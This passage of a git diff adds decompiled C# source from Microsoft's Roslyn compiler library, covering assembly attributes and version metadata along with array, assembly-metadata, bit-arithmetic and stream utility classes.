PublicKey=0024000004800000940000000602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9")] +[assembly: InternalsVisibleTo("Microsoft.Build.Tasks.CodeAnalysis, PublicKey=0024000004800000940000000602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9")] +[assembly: InternalsVisibleTo("VBCSCompiler, PublicKey=0024000004800000940000000602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9")] +[assembly: InternalsVisibleTo("Microsoft.CodeAnalysis.CSharp.CommandLine.UnitTests, PublicKey=0024000004800000940000000602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9")] +[assembly: InternalsVisibleTo("Microsoft.CodeAnalysis.CSharp.Emit.UnitTests, PublicKey=0024000004800000940000000602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9")] +[assembly: InternalsVisibleTo("Microsoft.CodeAnalysis.CSharp.Emit2.UnitTests, PublicKey=0024000004800000940000000602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9")] +[assembly: InternalsVisibleTo("Microsoft.CodeAnalysis.CSharp.EndToEnd.UnitTests, PublicKey=0024000004800000940000000602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9")] +[assembly: InternalsVisibleTo("Microsoft.CodeAnalysis.CSharp.WinRT.UnitTests, PublicKey=0024000004800000940000000602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9")] +[assembly: InternalsVisibleTo("Microsoft.CodeAnalysis.CSharp.IOperation.UnitTests, PublicKey=0024000004800000940000000602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9")] +[assembly: InternalsVisibleTo("Microsoft.CodeAnalysis.CSharp.Semantic.UnitTests, PublicKey=0024000004800000940000000602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9")] +[assembly: InternalsVisibleTo("Microsoft.CodeAnalysis.CSharp.Symbol.UnitTests, PublicKey=0024000004800000940000000602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9")] +[assembly: InternalsVisibleTo("Microsoft.CodeAnalysis.CSharp.Syntax.UnitTests, PublicKey=0024000004800000940000000602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9")] +[assembly: InternalsVisibleTo("Microsoft.CodeAnalysis.CSharp.Test.Utilities, PublicKey=0024000004800000940000000602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9")] +[assembly: InternalsVisibleTo("Microsoft.CodeAnalysis.UnitTests, PublicKey=0024000004800000940000000602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9")] +[assembly: InternalsVisibleTo("Microsoft.CodeAnalysis.VisualBasic.CommandLine.UnitTests, PublicKey=0024000004800000940000000602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9")] +[assembly: InternalsVisibleTo("Microsoft.CodeAnalysis.VisualBasic.Emit.UnitTests, PublicKey=0024000004800000940000000602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9")] +[assembly: InternalsVisibleTo("Roslyn.Compilers.VisualBasic.IOperation.UnitTests, PublicKey=0024000004800000940000000602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9")] +[assembly: InternalsVisibleTo("Microsoft.CodeAnalysis.VisualBasic.Semantic.UnitTests, PublicKey=0024000004800000940000000602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9")] +[assembly: InternalsVisibleTo("Microsoft.CodeAnalysis.VisualBasic.Symbol.UnitTests, PublicKey=0024000004800000940000000602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9")] +[assembly: InternalsVisibleTo("Microsoft.CodeAnalysis.VisualBasic.Syntax.UnitTests, PublicKey=0024000004800000940000000602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9")] +[assembly: InternalsVisibleTo("Microsoft.CodeAnalysis.VisualBasic.Test.Utilities, PublicKey=0024000004800000940000000602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9")] +[assembly: InternalsVisibleTo("Microsoft.CodeAnalysis.CSharp.ExpressionEvaluator.ExpressionCompiler.UnitTests, PublicKey=0024000004800000940000000602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9")] +[assembly: InternalsVisibleTo("Microsoft.CodeAnalysis.VisualBasic.ExpressionEvaluator.ExpressionCompiler.UnitTests, PublicKey=0024000004800000940000000602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9")] +[assembly: InternalsVisibleTo("Microsoft.CodeAnalysis.ExpressionEvaluator.ExpressionCompiler.Utilities, PublicKey=0024000004800000940000000602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9")] +[assembly: InternalsVisibleTo("Microsoft.CodeAnalysis.ExternalAccess.RazorCompiler, PublicKey=0024000004800000940000000602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9")] +[assembly: InternalsVisibleTo("InteractiveHost.UnitTests, PublicKey=0024000004800000940000000602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9")] +[assembly: InternalsVisibleTo("Microsoft.CodeAnalysis.Scripting.UnitTests, PublicKey=0024000004800000940000000602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9")] +[assembly: InternalsVisibleTo("Microsoft.CodeAnalysis.Scripting.Desktop.UnitTests, PublicKey=0024000004800000940000000602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9")] +[assembly: InternalsVisibleTo("Microsoft.CodeAnalysis.Scripting.TestUtilities, PublicKey=0024000004800000940000000602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9")] +[assembly: InternalsVisibleTo("Microsoft.CodeAnalysis.CSharp.Scripting.UnitTests, PublicKey=0024000004800000940000000602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9")] +[assembly: InternalsVisibleTo("Microsoft.CodeAnalysis.CSharp.Scripting.Desktop.UnitTests, PublicKey=0024000004800000940000000602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9")] +[assembly: InternalsVisibleTo("Microsoft.CodeAnalysis.VisualBasic.Scripting.UnitTests, PublicKey=0024000004800000940000000602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9")] +[assembly: InternalsVisibleTo("Microsoft.CodeAnalysis.VisualBasic.Scripting.Desktop.UnitTests, PublicKey=0024000004800000940000000602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9")] +[assembly: InternalsVisibleTo("Microsoft.CodeAnalysis.Test.Utilities, PublicKey=0024000004800000940000000602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9")] +[assembly: InternalsVisibleTo("Microsoft.CodeAnalysis.Rebuild.UnitTests, PublicKey=0024000004800000940000000602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9")] +[assembly: InternalsVisibleTo("Roslyn.Test.PdbUtilities, PublicKey=0024000004800000940000000602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9")] +[assembly: InternalsVisibleTo("VBCSCompiler.UnitTests, PublicKey=0024000004800000940000000602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9")] +[assembly: InternalsVisibleTo("DynamicProxyGenAssembly2, PublicKey=0024000004800000940000000602000000240000525341310004000001000100c547cac37abd99c8db225ef2f6c8a3602f3b3606cc9891605d02baa56104f4cfc0734aa39b93bf7852f7d9266654753cc297e7d2edfe0bac1cdcf9f717241550e0a7b191195b7667bb4f64bcb8e2121380fd1d9d46ad2d92d2d15605093924cceaf74c4861eff62abf69b9291ed0a340e113be11e6a7d3113e92484cf7045cc7")] +[assembly: InternalsVisibleTo("CompilerBenchmarks, PublicKey=0024000004800000940000000602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9")] +[assembly: AssemblyCompany("Microsoft Corporation")] +[assembly: AssemblyConfiguration("Release")] +[assembly: AssemblyCopyright("© Microsoft Corporation. All rights reserved.")] +[assembly: AssemblyFileVersion("4.800.23.55801")] +[assembly: AssemblyInformationalVersion("4.8.0-7.23558.1+e091728607ca0fc9efca55ccfb3e59259c6b5a0a")] +[assembly: AssemblyProduct("Microsoft.CodeAnalysis")] +[assembly: AssemblyTitle("Microsoft.CodeAnalysis")] +[assembly: AssemblyMetadata("RepositoryUrl", "https://github.com/dotnet/roslyn")] +[assembly: NeutralResourcesLanguage("en-US")] +[assembly: AssemblyVersion("4.8.0.0")] diff --git a/decompiled/Libraries/microsoft.codeanalysis/Roslyn.Utilities/ArrayExtensions.cs b/decompiled/Libraries/microsoft.codeanalysis/Roslyn.Utilities/ArrayExtensions.cs new file mode 100644 index 0000000..f7a390a --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Roslyn.Utilities/ArrayExtensions.cs @@ -0,0 +1,176 @@ +using System; + +namespace Roslyn.Utilities; + +internal static class ArrayExtensions +{ + internal static T[] Copy(this T[] array, int start, int length) + { + if (start + length > array.Length) + { + length = array.Length - start; + } + T[] array2 = new T[length]; + Array.Copy(array, start, array2, 0, length); + return array2; + } + + internal static T[] InsertAt(this T[] array, int position, T item) + { + T[] array2 = new T[array.Length + 1]; + if (position > 0) + { + Array.Copy(array, array2, position); + } + if (position < array.Length) + { + Array.Copy(array, position, array2, position + 1, array.Length - position); + } + array2[position] = item; + return array2; + } + + internal static T[] Append(this T[] array, T item) + { + return array.InsertAt(array.Length, item); + } + + internal static T[] InsertAt(this T[] array, int position, T[] items) + { + T[] array2 = new T[array.Length + items.Length]; + if (position > 0) + { + Array.Copy(array, array2, position); + } + if (position < array.Length) + { + Array.Copy(array, position, array2, position + items.Length, array.Length - position); + } + items.CopyTo(array2, position); + return array2; + } + + internal static T[] Append(this T[] array, T[] items) + { + return array.InsertAt(array.Length, items); + } + + internal static T[] RemoveAt(this T[] array, int position) + { + return array.RemoveAt(position, 1); + } + + internal static T[] RemoveAt(this T[] array, int position, int length) + { + if (position + length > array.Length) + { + length = array.Length - position; + } + T[] array2 = new T[array.Length - length]; + if (position > 0) + { + Array.Copy(array, array2, position); + } + if (position < array2.Length) + { + Array.Copy(array, position + length, array2, position, array2.Length - position); + } + return array2; + } + + internal static T[] ReplaceAt(this T[] array, int position, T item) + { + T[] array2 = new T[array.Length]; + Array.Copy(array, array2, array.Length); + array2[position] = item; + return array2; + } + + internal static T[] ReplaceAt(this T[] array, int position, int length, T[] items) + { + return array.RemoveAt(position, length).InsertAt(position, items); + } + + internal static void ReverseContents(this T[] array) + { + array.ReverseContents(0, array.Length); + } + + internal static void ReverseContents(this T[] array, int start, int count) + { + int num = start + count - 1; + int num2 = start; + int num3 = num; + while (num2 < num3) + { + T val = array[num2]; + array[num2] = array[num3]; + array[num3] = val; + num2++; + num3--; + } + } + + internal static int BinarySearch(this int[] array, int value) + { + int num = 0; + int num2 = array.Length - 1; + while (num <= num2) + { + int num3 = num + (num2 - num >> 1); + int num4 = array[num3]; + if (num4 == value) + { + return num3; + } + if (num4 > value) + { + num2 = num3 - 1; + } + else + { + num = num3 + 1; + } + } + return ~num; + } + + public static bool SequenceEqual(this T[]? first, T[]? second, Func comparer) + { + if (first == second) + { + return true; + } + if (first == null || second == null || first.Length != second.Length) + { + return false; + } + for (int i = 0; i < first.Length; i++) + { + if (!comparer(first[i], second[i])) + { + return false; + } + } + return true; + } + + internal static int BinarySearchUpperBound(this int[] array, int value) + { + int num = 0; + int num2 = array.Length - 1; + while (num <= num2) + { + int num3 = num + (num2 - num >> 1); + if (array[num3] > value) + { + num2 = num3 - 1; + } + else + { + num = num3 + 1; + } + } + return num; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Roslyn.Utilities/AssemblyUtilities.cs b/decompiled/Libraries/microsoft.codeanalysis/Roslyn.Utilities/AssemblyUtilities.cs new file mode 100644 index 0000000..12eca0b --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Roslyn.Utilities/AssemblyUtilities.cs @@ -0,0 +1,95 @@ +using System; +using System.Collections.Generic; +using System.Collections.Immutable; +using System.IO; +using System.Reflection.Metadata; +using System.Reflection.PortableExecutable; +using Microsoft.CodeAnalysis; + +namespace Roslyn.Utilities; + +internal static class AssemblyUtilities +{ + public static ImmutableArray FindAssemblySet(string filePath) + { + Queue queue = new Queue(); + HashSet hashSet = new HashSet(StringComparer.OrdinalIgnoreCase); + queue.Enqueue(filePath); + while (queue.Count > 0) + { + string text = queue.Dequeue(); + if (!hashSet.Add(text)) + { + continue; + } + string directoryName = Path.GetDirectoryName(text); + using PEReader peReader = new PEReader(FileUtilities.OpenRead(text)); + MetadataReader metadataReader = peReader.GetMetadataReader(); + foreach (AssemblyReferenceHandle assemblyReference in metadataReader.AssemblyReferences) + { + string text2 = metadataReader.GetString(metadataReader.GetAssemblyReference(assemblyReference).Name); + string text3 = Path.Combine(directoryName, text2 + ".dll"); + if (!hashSet.Contains(text3) && File.Exists(text3)) + { + queue.Enqueue(text3); + } + } + } + return ImmutableArray.CreateRange(hashSet); + } + + public static Guid ReadMvid(string filePath) + { + using PEReader peReader = new PEReader(FileUtilities.OpenRead(filePath)); + MetadataReader metadataReader = peReader.GetMetadataReader(); + GuidHandle mvid = metadataReader.GetModuleDefinition().Mvid; + return metadataReader.GetGuid(mvid); + } + + public static ImmutableArray FindSatelliteAssemblies(string filePath) + { + ImmutableArray.Builder builder = ImmutableArray.CreateBuilder(); + string? directoryName = Path.GetDirectoryName(filePath); + string text = Path.GetFileNameWithoutExtension(filePath) + ".resources"; + string text2 = text + ".dll"; + foreach (string item in Directory.EnumerateDirectories(directoryName, "*", SearchOption.TopDirectoryOnly)) + { + string text3 = Path.Combine(item, text2); + if (File.Exists(text3)) + { + builder.Add(text3); + } + text3 = Path.Combine(item, text, text2); + if (File.Exists(text3)) + { + builder.Add(text3); + } + } + return builder.ToImmutable(); + } + + public static ImmutableArray IdentifyMissingDependencies(string assemblyPath, IEnumerable dependencyFilePaths) + { + HashSet hashSet = new HashSet(); + foreach (string dependencyFilePath in dependencyFilePaths) + { + using PEReader peReader = new PEReader(FileUtilities.OpenRead(dependencyFilePath)); + AssemblyIdentity item = peReader.GetMetadataReader().ReadAssemblyIdentityOrThrow(); + hashSet.Add(item); + } + HashSet hashSet2 = new HashSet(); + using (PEReader peReader2 = new PEReader(FileUtilities.OpenRead(assemblyPath))) + { + ImmutableArray referencedAssembliesOrThrow = peReader2.GetMetadataReader().GetReferencedAssembliesOrThrow(); + hashSet2.AddAll(referencedAssembliesOrThrow); + } + hashSet2.ExceptWith(hashSet); + return ImmutableArray.CreateRange(hashSet2); + } + + public static AssemblyIdentity GetAssemblyIdentity(string assemblyPath) + { + using PEReader peReader = new PEReader(FileUtilities.OpenRead(assemblyPath)); + return peReader.GetMetadataReader().ReadAssemblyIdentityOrThrow(); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Roslyn.Utilities/BitArithmeticUtilities.cs b/decompiled/Libraries/microsoft.codeanalysis/Roslyn.Utilities/BitArithmeticUtilities.cs new file mode 100644 index 0000000..7de8a70 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Roslyn.Utilities/BitArithmeticUtilities.cs @@ -0,0 +1,52 @@ +namespace Roslyn.Utilities; + +internal static class BitArithmeticUtilities +{ + public static int CountBits(int v) + { + return CountBits((uint)v); + } + + public static int CountBits(uint v) + { + v -= (v >> 1) & 0x55555555; + v = (v & 0x33333333) + ((v >> 2) & 0x33333333); + return (int)(((v + (v >> 4)) & 0xF0F0F0F) * 16843009) >> 24; + } + + public static int CountBits(long v) + { + return CountBits((ulong)v); + } + + public static int CountBits(ulong v) + { + v = (v & 0x5555555555555555L) + ((v >> 1) & 0x5555555555555555L); + v = (v & 0x3333333333333333L) + ((v >> 2) & 0x3333333333333333L); + v = (v & 0xF0F0F0F0F0F0F0FL) + ((v >> 4) & 0xF0F0F0F0F0F0F0FL); + v = (v & 0xFF00FF00FF00FFL) + ((v >> 8) & 0xFF00FF00FF00FFL); + v = (v & 0xFFFF0000FFFFL) + ((v >> 16) & 0xFFFF0000FFFFL); + v = (v & 0xFFFFFFFFu) + ((v >> 32) & 0xFFFFFFFFu); + return (int)v; + } + + internal static uint Align(uint position, uint alignment) + { + uint num = position & ~(alignment - 1); + if (num == position) + { + return num; + } + return num + alignment; + } + + internal static int Align(int position, int alignment) + { + int num = position & ~(alignment - 1); + if (num == position) + { + return num; + } + return num + alignment; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Roslyn.Utilities/BlobBuildingStream.cs b/decompiled/Libraries/microsoft.codeanalysis/Roslyn.Utilities/BlobBuildingStream.cs new file mode 100644 index 0000000..a8c20c7 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Roslyn.Utilities/BlobBuildingStream.cs @@ -0,0 +1,101 @@ +using System; +using System.Collections.Immutable; +using System.IO; +using System.Reflection.Metadata; +using Microsoft.CodeAnalysis.PooledObjects; + +namespace Roslyn.Utilities; + +internal sealed class BlobBuildingStream : Stream +{ + private static readonly ObjectPool s_pool = new ObjectPool(() => new BlobBuildingStream()); + + private readonly BlobBuilder _builder; + + public const int ChunkSize = 32768; + + public override bool CanWrite => true; + + public override bool CanRead => false; + + public override bool CanSeek => false; + + public override long Length => _builder.Count; + + public override long Position + { + get + { + throw new NotSupportedException(); + } + set + { + throw new NotSupportedException(); + } + } + + public static BlobBuildingStream GetInstance() + { + return s_pool.Allocate(); + } + + private BlobBuildingStream() + { + _builder = new BlobBuilder(32768); + } + + public override void Write(byte[] buffer, int offset, int count) + { + _builder.WriteBytes(buffer, offset, count); + } + + public override void WriteByte(byte value) + { + _builder.WriteByte(value); + } + + public void WriteInt32(int value) + { + _builder.WriteInt32(value); + } + + public Blob ReserveBytes(int byteCount) + { + return _builder.ReserveBytes(byteCount); + } + + public ImmutableArray ToImmutableArray() + { + return _builder.ToImmutableArray(); + } + + public void Free() + { + _builder.Clear(); + s_pool.Free(this); + } + + public override void Flush() + { + } + + protected override void Dispose(bool disposing) + { + Free(); + } + + public override long Seek(long offset, SeekOrigin origin) + { + throw new NotSupportedException(); + } + + public override int Read(byte[] buffer, int offset, int count) + { + throw new NotSupportedException(); + } + + public override void SetLength(long value) + { + throw new NotSupportedException(); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Roslyn.Utilities/CharMemoryEqualityComparer.cs b/decompiled/Libraries/microsoft.codeanalysis/Roslyn.Utilities/CharMemoryEqualityComparer.cs new file mode 100644 index 0000000..a282263 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Roslyn.Utilities/CharMemoryEqualityComparer.cs @@ -0,0 +1,23 @@ +using System; +using System.Collections.Generic; + +namespace Roslyn.Utilities; + +internal sealed class CharMemoryEqualityComparer : IEqualityComparer> +{ + public static readonly CharMemoryEqualityComparer Instance = new CharMemoryEqualityComparer(); + + private CharMemoryEqualityComparer() + { + } + + public bool Equals(ReadOnlyMemory x, ReadOnlyMemory y) + { + return x.Span.SequenceEqual(y.Span); + } + + public int GetHashCode(ReadOnlyMemory mem) + { + return Hash.GetFNVHashCode(mem.Span); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Roslyn.Utilities/CommandLineUtilities.cs b/decompiled/Libraries/microsoft.codeanalysis/Roslyn.Utilities/CommandLineUtilities.cs new file mode 100644 index 0000000..6bf2537 --- /dev/null +++ 